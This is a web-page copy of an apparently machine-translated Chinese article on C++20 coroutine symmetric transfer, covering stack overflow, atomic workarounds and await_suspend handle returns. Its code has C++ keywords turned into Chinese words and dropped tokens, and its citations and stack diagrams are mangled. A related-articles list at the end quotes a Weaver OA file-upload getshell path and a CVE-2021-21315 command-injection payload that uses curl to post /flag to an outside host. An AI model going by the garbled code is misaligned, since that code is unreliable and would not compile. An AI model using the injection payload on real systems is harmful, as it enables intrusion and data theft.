2308C++对称转移

原文

了解对称转移

协程组提供了个编写异步代码的绝妙方法,与同步代码一样.只需要在合适地点加上协待,编译器就会负责挂起协程,跨挂起点保留状态,并在操作完成后恢复协程.

但是,最初有个令人讨厌的限制,如果不小心,很容易导致栈溢出.如果想避免它,则必须引入额外同步成本,以便在任务<T>类型中安全地避免它.

好的是,在2018年调整了协程的设计,以添加一个叫"对称转移"的功能,来允许挂起A并恢复B协程,而不消耗额外栈空间.
此功能解除了协程组的一个关键限制,并允许更简单,更高效地实现异步协程类型,而不会为栈溢出付出成本.

本文,试解释栈溢出,及"对称转移"如何解决它.

协程工作原理背景

请考虑以下协程:

任务 福(){协中;
}
任务 条(){协待 福();
}

假设有个当另一个协程等待它时,会懒执行主体,且不支持返回值的简单任务类型.
分析条()计算协待 福():
1,条()协程调用福()函数.注意,从调用者角度,协程只是个普通函数.
2,调用福()执行以下几个步骤:
1,为(一般在堆上)协程帧分配存储
2,复制参数到协程帧中(本例中无参,因此这是无操作).
3,在协程帧中构造承诺对象
4,调用承诺.取中()以取福()的返回值.这生成返回任务对象,并使用刚刚创建的引用协程帧标::协柄来初化它.
5,在初挂起(即左大括号)处挂起协程
6,返回任务对象条().
3,接着,条()协程计算从福()返回的任务上的协待式.
1,挂起条()协程,然后在返回任务上传递引用条()的协程帧的标::协柄,来调用挂起协()方法.
2,然后,在福()承诺对象中,挂起协()方法存储条()标::协柄,然后在福()标::协柄上调用.恢复()来恢复福()协程.
4,福()协程同步执行并运行到完成.
5,在终挂起(即右大括号)挂起福()协程,然后恢复,在启动前在其承诺对象中存储的以标::协柄标识的即.条()协程.
6,恢复并连续执行条()协程,最终到达调用从福()返回的临时任务对象的析构器中包含协待式的语句的末尾.
7,然后,在福()的协程句柄上,任务析构器调用.消灭()方法,然后析构协程帧及承诺对象和参数的副本.
好的,简单调用,似乎步骤太多.
为了帮助更深入理解,看看使用协程组(不支持对称转移)设计实现此任务类的简单实现时会怎样.

任务实现大概

类 任务{:类 承诺类型{/*见下*/};任务(任务&&t)无异:协程_(::交换(t.协程_,{})){}~任务(){(协程_)协程_.消灭();}类 等待器{/*见下*/};等待器 符号 协待()&&无异;:显 任务(::协柄<承诺类型>h)无异:协程_(h){}::协柄<承诺类型>协程_;
};

任务对与调用协程时创建的协程帧关联的标::协柄有独占所有权.任务对象是个可确保任务对象出域时,在标::协柄上调用.消灭()资取化对象.

因此,现在扩展一下承诺类型.

实现任务::promise_type

上篇已知,承诺类型成员定义了在协程帧内创建并控制协程行为的承诺对象的类型.
首先,要实现取中()来构造调用协程时返回的任务对象.此方法只要用新创建的协程帧标::协柄初化任务.
可用标::协柄::从承诺()方法从承诺对象构建这些句柄.

类 任务::承诺类型{:任务 取中()无异{中 任务{::协柄<承诺类型>::从承诺(*)};}

接着,期望协程最初开大括号处挂起,以便等待返回的任务时,可稍后从此恢复协程.
懒启动协程有几个好处:
1,表明可在开始执行协程前,附加连续标::协柄.表明不必用线程同步来仲裁稍后附加连续和协程运行完成间的竞争.
2,这表明任务可无条件地析构协程帧,不必担心是否可能在另一个线程上执行协程,因为在等待它之前不会开始执行协程,且在它执行时挂起了调用协程,因此在完成执行协程前,不会试调用任务析构器.
3,这样,编译器更好内联分配协程帧到调用者帧中.见P0981R0这里来了解(哈楼)堆分配优化的更多信息.

4,它还提高了协程代码的异常安全性.如果没有立即协待返回的任务,并执行其他可能触发异常的操作,从而导致栈展开和并运行任务析构器,则可安全析构协程,因为知道它尚未启动.
5,没有分离,悬挂引用,析构器中阻塞,终止未定义行为.我在这里关于结构化并发的CppCon2019演讲中更详细介绍的内容.

为了使协程在左大括号处初挂起,定义了个返回内置总是挂起类型的初挂起()方法.

::总是挂起 初挂起()无异{{};}

接着,需要定义执行协中时或在协程结束时调用的中空()方法.此方法可无操作,只要有它,编译器就知道在此协程类型中协中;有效.

空 中空()无异{}

还要添加如果异常逃逸协程时则会调用的对异常()方法.这里,可按无异调用任务协程体,并在有异常时调用标::终止().

空 对异常()无异{::终止();}

最后,执行协程到达右大括号时,期望在终挂起点挂起协程,然后恢复连续,即等待此协程完成的协程.
为此,需要在承诺中的数据成员保存连续的标::协柄.还需要定义,返回在当前协程在终挂起点挂起后恢复连续可等待对象的终挂起()方法.

在挂起当前协程后,懒恢复连续非常重要,因为连续可能会立即调用,在协程帧上调用.消灭()任务析构器.
.消灭()方法仅对挂起协程有效,因此在挂起当前协程前,恢复连续是未定义行为.

编译器在右大括号处,插入代码来计算协待承诺.终挂起();语句.
注意,调用终挂起()方法时,尚未挂起协程.挂起协程前,需要等到调用返回的可等待挂起协()方法.

构 止等待器{极 直接协()无异{中 假;}空 挂起协(::协柄<承诺类型>h)无异{//现在在终挂起点挂起`协程`.在承诺中查找`连续`并恢复它.h.承诺().连续.恢复();}空 恢复协()无异{}};止等待器 终挂起()无异{{};}::协柄<>连续;
};

好的,这就是完整的承诺类型.最后需要实现任务::符号 协待().

实现任务::符号 协待()

在理解协待()帖子中这里,在计算协待式时,(如果定义了协待符号,)编译器生成调用协待()符号,然后返回对象必须定义直接协(),挂起协()恢复协()方法.

协程等待任务时,期望总是挂起等待协程,然后,一旦挂起,在要恢复的协程的承诺存储等待协程的句柄,然后在任务的标::协柄上调用.恢复()来开始执行任务.
因此,相对直接代码:

类 任务::等待器{:极 直接协()无异{中 假;}空 挂起协(::协柄<>连续)无异{//在任务的`承诺`中存储`连续`,以便在任务完成时,`终挂起()`知道`恢复`此协程.协程_.承诺().连续=连续;//然后恢复当前在`初挂起`(即在左大括号处)挂起的任务的协程.协程_.恢复();}空 恢复协()无异{}:显 等待器(::协柄<任务::承诺类型>h)无异:协程_(h){}::协柄<任务::承诺类型>协程_;
};
任务::等待器 任务::符号 协待()&&无异{中 等待器{协程_};
}

从而完成任务类型必要代码.

栈溢出问题

但是,当你在协程中开始循环,且协待可在该循环体同步完成的任务时,就会出现实现限制.
如:

任务 同步完成(){协中;
}
任务 同步循环(整 数){(整 i=0;i<;++i){协待 同步完成();}
}

上述简单任务实现,计数为10,1000甚至100'000时,同步循环()函数(可能)正常工作.但是,可能会传递一个值(如100万)时,会导致此协程崩溃.

崩溃的原因是栈溢出.

为什么会导致栈溢出?

首次开始执行同步循环()协程时,可能是因为其他协程在协待返回的任务.这会依次挂起等待协程并调用在任务的标::协柄上调用恢复()任务::等待器::挂起协().

因此,启动同步循环()时,栈将如下:

栈   堆
+-------------+<--栈顶+------
|同步循环$恢复|活动协程循环帧|
+-------------+|+---------
|协柄::恢复||  |任务::承诺
+-------------+|-连续--.||
|任务::等待器::挂起协||+--
+-------------+|...  |v
|等待协程$恢复|+-----------
+-------------+|等待协程帧|
//`连续`指向`等待协程帧`

注意:编译协程函数时,编译器一般会将其拆分为两部分:
1,处理协程帧的构造,复制参数,构造承诺和生成返回值斜坡函数",及
2,包含协程体用户编写的"协程体"逻辑.

$恢复后缀来表明协程的"协程体"部分.

然后,当同步循环()等待从同步完成()返回的任务时,挂起当前协程并调用任务::等待器::挂起协().

然后,挂起协()方法,在与同步完成()协程关联的协程句柄上调用.恢复().
这恢复了同步运行完成的同步完成()协程,并在终挂起挂起.然后,它调用,与同步循环()关联的协程句柄上调用.恢复()任务::承诺::止等待器::挂起协().

最终结果是,如果在恢复同步循环()协程后及,在分号处析构同步完成()返回的临时任务前查看程序状态,则栈/堆应该像这样:

栈                    堆
+-------------栈顶
|同步循环$恢复|活动协程指向`上个顶`
+-------------+|
|协柄::恢复|.------'
+-------------+|
|止等待器::挂起协||
+-------------+|+-
|同步完成$恢复|||同步完成帧||
|协柄::恢复   ||+----------+|
|任务::等待器::挂起协|V|
+------------+<--上个栈顶+-+|
|同步循环$恢复| |同步循环帧||
+------------+|+----------------------+||
|协柄::恢复|||任务::承诺|||
+------------+||-连续--.|||
|任务::等待器::挂起协||+--|---+||
+------------+|-任务临时指向同步完成帧
|等待协程$恢复|+-----------
+-------------+|等待协程帧|

接着是调用析构同步完成()帧的任务析构器.然后,递增计数变量并再次循环,创建一个新的同步完成()帧并恢复它.
事情是最终同步循环()同步完成()递归地相互调用.每次都消耗更多的栈空间,最终,溢出栈并进入未定义行为状态,导致程序立即崩溃.

这样构建的协程中,非常容易编写循环并造成无限递归.

协程组解决方法

好的,如何避免无限递归
上面实现中,使用返回挂起协()变体.在协程组中,还有个返回挂起协()版本,如果它返回,则挂起协程,执行返回到恢复()的调用者,否则,如果返回,则立即恢复协程,但这次不消耗额外栈空间.

因此,为避免无限相互递归,可利用挂起协()的布尔返回版本,如果同步完成任务,则通过从任务::等待器::挂起协()方法返回来恢复当前协程,而不用标::协柄::恢复()递归恢复协程.

为此实现通用方法,要有两个部分.
任务::等待器::挂起协()方法中,可调用.恢复()开始执行协程.然后,调用.恢复()返回时,检查是否已完成协程.
如果已运行完,则可返回,来表示应该立即恢复等待协程,或可返回,指示执行应该返回标::协柄::恢复()的调用者.
在运行完协程时运行的任务::承诺类型:::止等待器::挂起协()中,要检查等待协程是否已从任务::等待器::挂起协()返回,如果是,则调用.恢复()来恢复它.
否则,需要避免恢复协程并通知任务::等待器::挂起协(),它需要返回.
但是,还有个额外问题,因为协程可在当前线程上开始执行,然后挂起,然后,在调用.恢复()之前,在不同线程上,恢复运行至完成.
因此,要解决上述第1部分和第2部分之间同时有的潜在竞争.
要用标::原子值来决定竞赛的获胜者.
现在是代码.可如下修改:

类 任务::承诺类型{...::协柄<>连续;::原子<>准备好=;
};
极 任务::等待器::挂起协(::协柄<>连续)无异{承诺类型&承诺=协程_.承诺();承诺.连续=连续;协程_.恢复();!承诺.准备好.交换(,::内存序取释放);
}
空 任务::承诺类型::止等待器::挂起协(::协柄<承诺类型>h)无异{承诺类型&承诺=h.承诺();(承诺.准备好.交换(,::内存序取释放)){//未同步完成`协程`,请在此处恢复.承诺.连续.恢复();}
}

表明,c++协程::任务<T>实现这里为避免无限递归的方法,且运行良好.
呜呼!问题解决了吗?

问题所在

虽然上述方法确实解决了递归问题,但它有几个缺点.
1,首先,它引入了非常昂贵的标::原子操作.挂起等待协程时,调用者上有个原子交换,运行到完成时,调用者上有另一个原子交换.
2,如果只在单线程上执行应用,则即使不必,也支付了同步线程原子操作成本.
3,其次,它引入了额外的分支.一个在调用者中,要决定是挂起还是立即恢复协程,另一个在被调中,要决定是恢复还是挂起连续.

4,注意,额外分支的成本,甚至可能是原子操作的成本,一般相比协程中的业务逻辑,相形见绌.然而,按零成本抽象宣传协程,有人甚至使用协程来挂起函数,以避免等待L1缓存未命中,这里.

5,第三,可能也是最重要的一点,在等待协程恢复的执行环境中引入了一些不确定性.
假设有以下代码:

c++协程::静线程池 tp;
任务 福()
{::输出<<"福1"<<::本线程::取标识()<<"\n";//挂起协程并重新分发到线程池线程.协待 tp.调度();::输出<<"福2"<<::本线程::取标识()<<"\n";
}
任务 条()
{::输出<<"条1"<<::本线程::取标识()<<"\n";协待 福();::输出<<"条2"<<::本线程::取标识()<<"\n";
}

使用原始实现,保证在协待 福()之后运行的代码,在完成福()的同一线程上内联运行.
如,一个可能的输出是:

1`1234`
福1`1234`
福2`3456`
条2`3456`

然而,随着使用原子,完成福()可能会与挂起条()竞争,因此表明,有时协待 福()之后的代码可能会,在条()开始执行的原始线程上运行.
如,现在可如下输出:

1`1234`
福1`1234`
福2`3456`
条2`1234`

许多用例,该行为可能不会有影响.但是,对旨在转换执行环境的算法,会有问题.
如,通过()算法等待一些可等待,然后在指定分发的执行环境中生成它.此算法的简化版本如下:

<型名 可等待,型名 调度器>
任务<等待结果型<可等待>>通过(可等待 a,调度器 s)
{动 结果=协待 标::移动(a);协待 s.调度();协中 结果;
}
任务<T>取值();
空 消费(常 T&);
任务<>消费者(静线程池::调度器 s)
{T 结果=协待 通过(取值(),s);消费(结果);
}

对原始版本,总是可保证在s线程池上调用消费().但是,对原子版本,可能会在与s调度器关联的线程上执行消费(),或在消费()协程开始执行的线程上执行.

如何无原子操作,额外分支和非确定性恢复环境的成本的解决栈溢出?

“对称转移”

GorNishanov(0913)的论文P0R2018",提出"对称协程控制转移",来允许不消耗额外栈空间的,挂起,A协程然后对称恢复B协程.

它提出了两个关键变化:
1,允许从挂起协()返回标::协柄<T>,来指示应对称转移执行到由返回的句柄标识的协程.
2,添加返回特殊的标::协柄标::实验性::无操协程()函数,它可从挂起协()返回该函数以挂起当前协程,并从调用.恢复()中返回,而不是执行转移到另一个协程.

"对称转移"的意思

标::协柄上调用.恢复()来恢复协程时,执行恢复协程时,.恢复()的调用者在上仍活着.
下一次挂起此协程,且对该挂起点挂起协()调用返回(表示无条件挂起)或(指示条件挂起)时,返回调用.恢复().

这可类比协程执行的"非对称转移",其行为与普通的函数调用一样..恢复()的调用者可是任一函数(也可不是协程).
挂起该协程,并从挂起协()返回时,执行调用从.恢复()返回,且每次调用.恢复()恢复协程时,都会创建新栈帧来执行该协程.

但是,使用"对称转移",只是挂起一个协程并恢复另一个协程.两个协程间没有隐式调用者/被调关系,挂起协程时,可把执行转移到挂起的任一协程(包括自身),且在下次挂起或完成时,不必把执行转移回上一个协程.

看看等待者使用对称转移时,编译器降级协待式为什么:

{推导()=<>;推导()可等待=取可等待(承诺,静转<推导()&&>());推导()等待器=取等待器(静转<推导(可等待)&&>(可等待));(!等待器.直接协()){用 句柄型=::协柄<P>;//<挂起协程>动 h=等待器.挂起协(句柄型::从承诺(p));h.恢复();//<返回到调用者或恢复者>//<恢复点>}中 等待器.恢复协();
}

放大与其他协待形式不同的关键部分:

动 h=等待器.挂起协(句柄型::从承诺(p));
h.恢复();
//<返回调用者或恢复者>

一旦降级协程状态机,<返回到调用者或恢复者>部分基本上变成了返回;语句,导致调用上次恢复协程来返回到其调用者的.恢复().
表明从当前函数自身是标::协柄::恢复()的调用体,有个调用与标::协柄::恢复()有相同签名函数的另一个函数,然后是返回;.

一些编译器在启用优化时,可优化,只要满足某些条件,就可把调用转换为尾调用.
碰巧,该尾调用优化正可避免之前遇见的栈溢出问题.但是,要保证转换尾调用.

尾调用

尾调用是指在调用结束前弹出当前栈帧,且当前函数的返回地址成为被调返回地址.即.被调直接返回此函数调用者.
X86/X64架构上,一般表明编译器生成首先弹出当前栈帧,然后使用指令而不是调用指令跳转被调函数入口,然后在调用返回后弹出当前栈帧的代码.

但是,该优化一般有限.即,它要求:
1,调用约定支持尾调用,且对调用者和被调相同;
2,返回类型相同;
3,在调用后到返回调用者前,不需要运行非平凡析构器;及
4,调用不在试/抓块内.
协待对称转移形式是专门协程满足所有这些要求而设计的.
1,调用约定,当编译器降级协程为机器代码时,它将协程分为两部分:斜坡(分配和初化协程帧)和主体(包含用户编写的协程体的状态机).
协程的函数签名(及用户指定的调用约定)仅影响斜坡,而主体受编译器控制,且用户代码永远不会直接调用它,仅由斜坡函数和标::协柄:::恢复()调用.

协程主体调用约定不是用户可见的,完全依赖编译器,因此可选择支持尾调用并由所有协程体使用的适当调用约定.

2,返回类型相同,源和目标协程的.恢复()方法的返回类型都是,因此可轻松满足此要求.
3,没有非平凡析构器,尾调用时,要可在调用目标函数前释放当前栈帧,这要求所有栈分配对象生命期调用前结束.
一般,只要内有非平凡析构器的对象,就有问题,因为这些对象的生命期尚未结束,且在栈上分配这些对象.
但是,挂起协程时,它会在不退出域时就这样,它是,在协程帧中而不是在栈中保存生命期跨挂起点的对象.
可在栈上分配生命期不跨挂起点局部变量,但这些对象生命期已结束,且在下一次挂起协程调用它们的析构器.
因此,对要在尾调用返回后运行的栈分配对象,不应有非平凡析构器.
4,调用不在试/抓块内,这有点麻烦,因为在每个协程中都有个隐式的包含用户编写协程体的试/抓块.
从规范中,看到协程定义:

{承诺类型 承诺;协待 承诺.初挂起();{F;}(...){承诺.对异常();}
终挂起:协待 承诺.终挂起();
}

其中F是协程体用户部分.

因此,每个用户编写的协待式(初挂起/终挂起式除外)都在试/抓块的环境中.
但是,实现通过在块环境外实际调用.恢复()来解决.

因此,执行对称转移的协程,一般满足可执行尾调用的所有要求.无论是否启用优化,编译器保证总是一个尾调用.
这表明用挂起协()标::协柄的返回风格,可挂起当前协程,并在不会消耗额外栈空间时,就把执行转移到另一个协程.
这样允许编写相互递归恢复彼此到任意深度,而不必担心栈溢出的协程.

重新审视任务

因此,借助新"对称转移"功能,修复任务类型实现.
为此,要在实现中更改两个挂起协()方法:
1,首先,等待任务时,执行对称转移来恢复任务的协程.
2,其次,任务的协程完成时,执行对称转移以恢复等待协程.
为了解决等待方向,需要在此更改任务::等待器方法:

空 任务::等待器::挂起协(::协柄<>连续)无异{//在任务的承诺中`存储`连续,以便在任务完成时,`终挂起()`知道恢复此协程.协程_.承诺().连续=连续;//然后恢复当前在初挂起(即在左大括号处)挂起的`任务协程`.协程_.恢复();
}

转为:

::协柄<>任务::等待器::挂起协(::协柄<>连续)无异{//在任务的承诺中`存储`连续,以便在任务完成时,`终挂起()`知道恢复此协程.协程_.承诺().连续=连续;//然后,从`挂起协()`返回其句柄,来`尾恢复`当前在初挂起(即在打开的大括号处)挂起的`任务协程`.中 协程_;
}

为了解决返回路径,需要从下面更新任务::承诺类型::止等待器方法:

空 任务::承诺类型::止等待器::挂起协(::协柄<承诺类型>h)无异{//现在在终挂起点挂起`协程`.在承诺中查找其`连续`并恢复它.h.承诺().连续.恢复();
}

为:

::协柄<>任务::承诺类型::止等待器::挂起协(::协柄<承诺类型>h)无异{//现在在终挂起点挂起`协程`.在承诺中查找其`连续`并`对称`恢复它.中 h.承诺().连续;
}

现在有个既没有返回挂起协风味所有的栈溢出问题,也没有布尔返回挂起协风味的不确定性恢复环境问题的任务实现.

可视化栈

现在再看看原始示例:

任务 同步完成(){协中;
}
任务 同步循环(整 数){(整 i=0;i<;++i){协待 同步完成();}
}

首次开始执行同步循环()协程时,这是因为其他某个协程协待返回的任务.调用标::协柄::恢复()来恢复的其他协程,会对称转移来启动它.
因此,启动同步循环()时,栈将如下:

栈 堆
+-------------+<--栈顶+-- |
|同步循环$恢复|活动协程->|同步循环帧|
+-------------+|+--------+|
|协柄::恢复|||任务::承诺||
+-------------+||-连续指向下面的等待协程帧||等待协程帧|

现在,执行协待 同步完成()时,它会对称转移同步完成协程.
它如下完成:
1,调用返回任务::等待器对象的任务::符号 协待()
2,然后挂起并调用返回同步完成协程的协柄任务::等待器::挂起协().
3,然后尾调用/跳转同步完成协程.这在激活同步完成帧前,弹出同步循环帧.
如果现在在恢复同步完成后查看栈,将是如下:

栈 堆.->+-------+<-.||同步完成||||||||+--------+|||||任务::承诺||||||-连续--.|||||+--------+|||-,+-------+||V|
+---------------+<--栈顶|++ |
|同步完成$恢复|||同步循环帧||
+---------------+活动协程---|++||
|协柄::恢复|||任务::承诺|||
+---------------+||-连续--.|||
|...||+----------|---+||
+---------------+|任务临时||||-协程_-----|---------|+--------------------------+|等待协程 帧|+--------------------------+

注意,此处栈帧数没有增加.
同步完成协程完成且执行到达右大括号后,它计算协待 承诺.终挂起().
这会挂起协程,并调用返回连续标::协柄(即指向同步循环协程的句柄)的止等待器::挂起协().
然后,执行对称转移/尾调用以恢复同步循环协程.
如果在恢复同步循环后查看栈,将如下:

栈 堆+--------------+<-.|同步完成||||||+----------+||||任务::承诺|||||-连续--.||||+------------------|---+||V|
+----------------+<--栈顶 
|同步循环$恢复|活动 协程->|同步循环 帧||
|协柄::恢复()|||任务::承诺|||
+--------------+||-连续--.|||
|...||+--------+||
+--------------+|任务 临时||||-协程_-----|---------||等待协程 帧|

恢复同步循环协程后,先是在到达分号时执行调用从同步完成调用返回的临时任务析构器.它析构协程帧,释放其内存,剩下:

栈 堆
+-----------+<--栈顶+--+
|同步循环$恢复|活动协程->|同步循环帧|
|协柄::恢复|||任务::承诺||
+-----------------+||-连续--.|||等待协程帧|

现在又回到了执行同步循环协程,现在拥有与开始时相同数量的栈帧和协程帧,且每次循环时都会这样做.
因此,可按需任意次迭代循环,且只会使用固定大小存储空间.

对称转移为挂起协的通用形式

对称转移理论上可取代挂起协()空和布尔返回形式.
但先看看添加到协程设计中的P0913R0提案这里的另一部分:标::无操协程().

终止递归

使用对称转移协程,每次挂起协程时,都会对称地恢复另一个协程.只要有另一个要恢复的协程,这很好,但有时没有要执行的另一个协程,只需要挂起并让执行返回至标::协柄::恢复()的调用者.

挂起协()返回和布尔返回风格都允许挂起协程并从标::协柄::恢复()返回,但如何对对称转移这样?

答案是使用特殊的由标::无操协程()函数生成的叫"无操协程句柄"的内置标::协柄.
"无操协程句柄"命名,是因为它的.恢复()实现仅使它立即返回.即是无操作恢复协程.一般,它的实现包含单个指令.

如果挂起协()方法返回标::无操协程()句柄,则它不会把执行转移到下个协程,而是把执行传输回标::协柄::恢复()的调用者.

表示await_suspend()的其他风格

有了这些信息,现在可展示如何使用对称转移形式来表示挂起协()的其他风格.
空返回:

空 我等待器::挂起协(::协柄<>h){->协程=h;入列();
}

也可用布尔返回形式如下编写:

极 我等待器::挂起协(::协柄<>h){->协程=h;入列();中 真;
}

也可用对称转移形式编写:

::无操协程句柄 我等待器::挂起协(::协柄<>h){->协程=h;入列();中 标::无操协程();
}

布尔返回形式:

极 我等待器::挂起协(::协柄<>h){->协程=h;(试开始()){//异步完成操作.返回`真`以把执行`转移`到`协柄::恢复()`的调用者.中 真;}//同步完成`操作`.返回`假`可立即恢复当前协程.中 假;
}

也可用对称转移形式编写:

::协柄<>我等待器::挂起协(::协柄<>h){->协程=h;(试开始()){//异步完成操作.返回`标::无操协程()`以把`执行`转移到`协柄::恢复()`的调用者.中 标::无操协程();}//操作同步完成.返回`当前协程`句柄以`立即恢复`当前协程.中 h;
}

为什么要有三个风格?

拥有对称转移风格时,为什么仍有挂起协()空和布尔返回风格呢?

原因部分是历史的,部分是务实的,部分是性能的.
返回版本可通过从挂起协()返回标::无操协程句柄类型来完全替换,因为这是编译器表明协程无条件地把执行转移标::协柄::恢复()的调用者的等效信号.

部分是在引入对称转移前已使用它,部分原因是形式导致无条件挂起时,代码/键入更少.
然而,与对称转移形式相比,布尔返回版本有时在可优化性方面可能会略有优势.

考虑在另一个翻译单元中定义的布尔返回挂起协()方法.此时,编译器可在挂起当前协程的等待协程中生成代码,然后调用挂起协()返回后通过执行下一段代码有条件地恢复它.
如果挂起协()返回,它确切地知道要执行的代码段.
对称转移风格,仍需要或返回到调用者/恢复恢复当前协程,来表示相同结果.或需要返回标::无操协程()当前协程句柄,而不是返回.
可强制转换这两个句柄为标::协柄<空>类型并返回它.
但是,现在,因为挂起协()方法是在另一个翻译单元中定义的,编译器无法看到返回句柄引用的协程,因此恢复协程时,它现在必须执行一些更昂贵的间接调用,且可能执行一些分支来恢复协程,再对比布尔返回的单个分支.

未来可能可内联定义挂起协(),但调用远方定义的布尔返回方法,然后有条件地返回适当的句柄.
如:

构 我等待器{极 直接协();//理论上,编译器应该可按与`布尔`返回版本相同的优化,但目前没有.::协柄<>挂起协(::协柄<>h){(试开始(h)){中 标::无操协程();}{中 h;}}空 恢复协();://此方法在远方单独的翻译单元中定义.极 试开始(::协柄<>h);
}

因此,目前而言,一般规则是:
1,如果需要无条件返回.恢复()调用者,请使用返回风格.
2,如果需要有条件返回到.恢复()调用者或恢复当前协程,请使用布尔返回风格.
3,如果需要恢复另一个协程,请使用对称转移风格.

添加到C++20的协程中的新对称转移功能使得不必担心栈溢出的,编写递归相互恢复协程更加容易.此功能是创建高效且安全的异步协程类型(如任务)的关键.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/39035.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Unity Spine帧事件

SpinePro中添加事件帧 首先 选中右上角的层级树 然后选择事件选项 最后在右下角看到 新建 点击它 新建一个事件 点击左上角的设置按钮 弹出编辑窗口 编辑窗口 在右上角 动画栏 可以切换对应的动画 点坐边的那个小灰点来切换 亮点代表当前动画 选中帧 添加事件 点击对应事件…

突破防线!泛微OA任意文件上传Getshell

子曰&#xff1a;“巧言令色&#xff0c;鲜矣仁。” 漏洞复现 访问漏洞url&#xff1a; 存在漏洞的路径为 /weaver/weaver.common.Ctrl/.css?arg0com.cloudstore.api.service.Service_CheckApp&arg1validateApp漏洞利用&#xff1a; 漏洞证明&#xff1a; 文笔生疏&…

ubuntu 20.0.4 搭建nvidia 显卡环境

一、安装docker 1、安装dokcer sudo apt install docker.io2、docker 添加到用户组 创建docker用户组 sudo groupadd docker添加当前用户加入docker用户组 sudo usermod -aG docker ${USER}重启docker服务 sudo systemctl restart docker切换或者退出当前账户再从新登入 …

openGauss学习笔记-41 openGauss 高级数据管理-匿名块

文章目录 openGauss学习笔记-41 openGauss 高级数据管理-匿名块41.1 语法41.2 参数说明41.3 示例 openGauss学习笔记-41 openGauss 高级数据管理-匿名块 匿名块&#xff08;Anonymous Block&#xff09;是存储过程的字块之一&#xff0c;没有名称。一般用于不频繁执行的脚本或…

NPM与外部服务的集成(下)

目录 1、撤消访问令牌 2、在CI/CD工作流中使用私有包 2.1 创建新的访问令牌 持续整合 持续部署 交互式工作流 CIDR白名单 2.2 将令牌设置为CI/CD服务器上的环境变量 2.3 创建并签入特定于项目的.npmrc文件 2.4 令牌安全 3、Docker和私有模块 3.1 背景&#xff1a;运…

了解异或的好处和用途

1.什么是异或&#xff1f; 异或&#xff1a;对于二进制&#xff0c;相同为0 不同为11 ⊕ 1 00 ⊕ 0 01 ⊕ 0 10 ⊕ 1 1 2.异或的好处&#xff1f; 异或的好处&#xff1f;1.快速比较两个值 2.xor a a例如 a 3 011xor 0110003.可以使用 异或 来使某些特定的位翻转【原因…

移远RM500U-CN模块直连嵌入式ubuntu实现拨号上网

目录 1 平台&#xff1a; 2 需要准备的资料 3 参考文档 4 编译环境与驱动移植 4.1 内核驱动添加厂家ID和产品ID 4. 2.添加零包处理 4.3 增加复位恢复机制 4.4 增加批量输出 批量输出 URB 的数量和容量 的数量和容量 4.5 内核配置与编译 5 QM500U-CN拨号&#xff08;在开…

Ubuntu和centos版本有哪些区别

Ubuntu和CentOS是两个非常流行的Linux发行版&#xff0c;它们在一些方面有一些区别&#xff0c;如下所示&#xff1a; CentOS的版本发布周期相对较长&#xff0c;主要是因为它是基于RedHatEnterpriseLinux(RHEL)的。这意味着在RHEL发布后才能推出对应的CentOS版本。而Ubuntu则在…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台&#xff0c;curl请求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含义

文章目录 一、简介二、如何使用2.1、在IDEA中安装Lombok插件2.2、添加maven依赖 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…

JavaScript 中常用简写技巧总结

平时我们写代码时最高级的境界是自己写的东西别人看不懂&#xff01;哈哈哈&#xff01;分享一些自己常用的js简写技巧&#xff0c;长期更新&#xff0c;会着重挑选一些实用的简写技巧&#xff0c;使自己的代码更简洁优雅~ 这里只会收集一些大多数人不知道的用法&#xff0c;但…

MySQL新的版本发布模型 - 创新版本和长支持版本

2023年7月18日&#xff0c;MySQL发布了最新数据库服务器版本8.1.0&#xff0c;其中变化最大的是MySQL采用了新的版本发布模型。本文是官方博客的中文摘抄和个人理解&#xff0c;原文更精彩: https://blogs.oracle.com/mysql/post/introducing-mysql-innovation-and-longterm-su…

网络原理(JavaEE初阶系列11)

目录 前言&#xff1a; 1.网络原理的理解 2.应用层 2.1自定义协议的约定 2.1.1确定要传输的信息 2.1.2确定数据的格式 3.传输层 3.1UDP 3.1.1UDP报文格式 3.2TCP 3.2.1确认应答 3.2.2超时重传 3.2.3连接管理 3.2.3.1三次握手 3.2.3.2四次挥手 3.2.4滑动窗口 3.…

bigemap如何添加mapbox地图?

第一步 打开浏览器&#xff0c;找到你要访问的地图的URL地址&#xff0c;并且确认可以正常在浏览器中访问&#xff1b;浏览器中不能访问&#xff0c;同样也不能在软件中访问。 以下为常用地图源地址&#xff1a; 天地图&#xff1a; http://map.tianditu.gov.cn 包含&…

【SA8295P 源码分析】75 - QNX GVM Secpol 安全策略文件 gvm_la.txt 内容分析解读

【SA8295P 源码分析】75 - QNX GVM Secpol 安全策略文件 gvm_la.txt 内容分析解读 第一部分、gvm_la_t secpol 类型定义第二部分、gvm_la_t 内存透传相关配置第三部分、gvm_la_t 中断透传相关配置第四部分、gvm_la_t 类型的进程允许通信的所有 secpol 类型系列文章汇总见:《【…

字符串的综合练习

1、练习-转换罗马数字 键盘录入一个字符串 要求1&#xff1a;长度为小于等于9 要求2&#xff1a;只能是数字 将内容变成罗马数字 下面是阿拉伯数字跟罗马数字的对比关系&#xff1a; Ⅰ-1 Ⅱ-2 Ⅲ-3 Ⅳ-4 Ⅴ-5 Ⅵ-6 Ⅶ-7 Ⅷ-8 Ⅸ-9 注意点&#xff1a;罗马数字里面没有0的&…

51单片机的管脚介绍

图文介绍 纯文字说明 单片机管脚相关结构及其作用如下 电源正极引脚 一般接5V电源&#xff0c;为单片机提供正常工作时的电压。 电源负极引脚 接地。然后才开始工作。 时钟引脚 18、19脚为时钟引脚&#xff08;XTAL2、XTAL1&#xff09;。单片机内部有大量的数字电路&a…

SringBoot-响应

